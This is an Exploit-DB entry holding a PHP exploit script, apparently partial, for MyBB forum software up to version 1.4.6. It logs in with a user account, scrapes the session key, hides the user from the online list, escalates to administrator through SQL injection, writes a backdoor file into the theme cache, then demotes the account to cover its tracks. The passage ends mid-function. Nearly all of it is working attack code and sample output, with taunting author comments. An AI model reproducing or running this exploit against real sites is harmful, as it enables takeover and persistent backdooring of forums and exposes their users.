Exploit-DB #9001
Description: MyBB 1.4.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-06-22
Author: The:Paradox

Exploit:
<?PHP
/*

Someone decided to contact mybb's staff informing about this vulnerability with the obvious result that this will not work anymore. 
Fucking moron.

I'm releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag.
Going to update it in the next days.
For historical reason, i'm leaving the original title, but note that is <= 1.4.6


Example:

paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/
[.] Initialing.
[+] Logged in.
[+] my_post_key variable found.
[+] Turned On mybb's invisible mode.
[+] Sql code injected. You're now admin.
[+] Admindir found (or --admindir is used): /admin/.
[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7
[+] Site correctly backdoored.
[+] Sql code injected. You're now user.
[+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.php
All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.
Have a nice day :P


For the curious people: http://mybboard.it/forum/thread-3623.html

*/

/*

Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit


Discovered: 	About 4 days before the exploit was coded.
Coded:		03-03-2009 
Author:		The:Paradox
Release:	Not yet. 

No php.ini setting can stop us ! =O 
A user (not email confirmed too) is needed.

Keep private or your keyboard will blew up.


*/


$mybb = new maibibi2;


class maibibi2 
{

	function __construct ()
	{



		$this->user	= $this->get_argv('-u');
		$this->pass	= $this->get_argv('-p');
		$this->target	= $this->get_argv('-t');
		$this->admindir	= $this->get_argv('--admindir');	
		$this->oa2u	= $this->get_argv('--onlyadmin2user');

		$this->ip	= '67.167.124.135';
		$this->ua	= 'Mozilla 5.0';
		$this->bckdr	= '/cache/themes/themes.php';

		if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False)	$this->help();
		if (!$this->user || !$this->pass)						die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
		if (!$this->target)								die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
			
		$this->http();
		$this->init();

			
	}

	function help ()
	{

		die ("Under Construction\r\n");

	}

	function get_argv ($what)
	{
		global $argv;

		if (!$n = array_search($what, $argv)) return False;
		return $argv[$n+1];	
	}

	function init ()
	{

		set_time_limit(0); // about 30 seconds left? Be serious.

		echo "[.] Initialing.\r\n";

			if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");

		echo "[+] Logged in.\r\n";

			if (!$this->mypostkey = $this->getmypostkey())  die ("My_Post_Key Not Found.\r\n");

		echo "[+] my_post_key variable found.\r\n";

			$this->hidemefromonlinelist();

		echo "[+] Turned On mybb's invisible mode.\r\n";

			$this->user2admin();

		echo "[+] Sql code injected. You're now admin.\r\n";

			if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");

		echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";		

			if (!$this->adminsid = $this->loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
		
		echo "[+] Admin sid Found: {$this->adminsid}\r\n";		
			#$this->writabledirs();
			$this->rce ();		
			if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");

		echo "[+] Site correctly backdoored.\r\n";

			$this->admin2user();

		echo "[+] Sql code injected. You're now user.\r\n";
		echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
		echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

	}	

	function ilovecookies ()
	{
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);
		$this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login', 'action' => 'do_login');
		
		$rsp = $this->post ("{$this->target}/member.php");
		
		if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

		return $res[1][0];
		

	}

	function getmypostkey ()
	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' => "mybbuser={$this->mybbuser};");
		$rsp = $this->get ("{$this->target}/usercp.php?action=profile");

		if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;

		return $res[1][0];				

	}

	function hidemefromonlinelist()

	{
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');
		
		$rsp = $this->post ("{$this->target}/member.php");
		
	}

	function user2admin ()

	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('my_post_key'			 => $this->mypostkey, 
					'invisible'			=> '1', 
					'bday1'				=> '', 
					'bday2'				=> '', 
					'bday3'				=> '', 
					'website'			=> 'http%3A%2F%2F', 
					'profile_fields%5Bfid3%5D'	=> 'Undisclosed', 
					'profile_fields%5Bfid2%5D'	=> 'Undisclosed',
					'profile_fields%5Bfid1%5D'	=> 'Undisclosed', 
					'usertitle'			=> '',